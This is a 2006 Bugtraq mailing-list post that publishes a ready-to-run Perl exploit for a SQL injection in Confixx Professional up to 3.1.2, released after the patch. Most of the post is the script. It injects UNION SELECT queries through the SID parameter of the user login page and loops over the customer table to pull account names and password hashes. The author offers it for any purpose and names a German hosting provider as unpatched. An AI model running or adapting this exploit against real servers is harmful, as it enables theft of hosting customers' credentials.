bugtraq - Confixx SQL Injection exploit (confixx

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Message-ID: <DFBB6374-4CFC-4F9F-816D-BCEBB57E2CD9@systemli.org>
Date: Wed, 19 Apr 2006 17:53:42 +0200
From: defa <defa@...temli.org>
To: bugtraq@...urityfocus.com
Subject: Confixx SQL Injection exploit (confixx_exploit.pl)


Well - the patch is out - here is the exploit.

Hey - German hosters - if you call yourself "serverkompetenz.de" -  
why don't you fix your servers?

sincerly
defa

----BOF----
#!/usr/bin/perl

######################################################################## 
########
# 									       #
# exploit for confixx professional <= 3.1.2				       #
#									       #
# the vulerability was discovered by: LoK Crew				       #
# references: http://www.securityfocus.com/bid/17476			       #
#									       #
# exploit can be used for any purpose but on own risk			       #
#									       #
# (c) by defa - sorry for the crappy code				       #
#								               #
# url is just the host - directory is $url/user/index.php by default  
	       #
# the exploit just fetches the longpw hashes of alle  
users                     #
#								               #
# parts of the code are stolen from RuSH exploits - thanks a lot  
folks	       #
######################################################################## 
########

use IO::Socket;

if (@ARGV < 1)
{
	print q(
		exploit by defa (2006)
		=========================
		confixx_exploit.pl [URL]
		
		params:
   		[URL] - server url
   		
   		example: confixx_exploit.pl 127.0.0.1
	);
	exit;
}

$serv  = $ARGV[0];
$serv =~ s/(http:\/\/)//eg;

for ($i=0;$i<=100;$i++)
{
$hit = 0;
$url = "http://";
$url .= $serv;
$url .= "/user/index.php?SID=1'%20AND%200=1%20UNION%20SELECT%20CONCAT";
$url .= "('_error|s:',length(longpw)%2Blength(kunde)%2B11,':%22','HIT: 
%20',";
$url .= "kunde,'%20:%20',longpw,'%20:%20','%22;')%20AS%20'sdata'% 
20FROM%20";
$url .= "kunden%20LIMIT%20";
$url .= "$i,1/*";

$socket = IO::Socket::INET->new(
	Proto => "tcp",
	PeerAddr => $serv,
	PeerPort => "80") || die "[-] CONNECT FAILED\r\n";


print  $socket "GET $url HTTP/1.1\n";
print  $socket "Host: $serv\n";
print  $socket 'User-Agent: confixx_exploit'."\n";
print $socket "Connection: close\n\n";
while ($answer = <$socket>)
{
	if ($answer =~ /<p>HIT:/)
	{
		@result = split(/: /,$answer);
	
		print "$result[1]: $result[2]\n";
		$hit = 1;
	}

}
if ($hit == 0) {die("that's it");}
}

----EOF----
--
don't eat yellow snow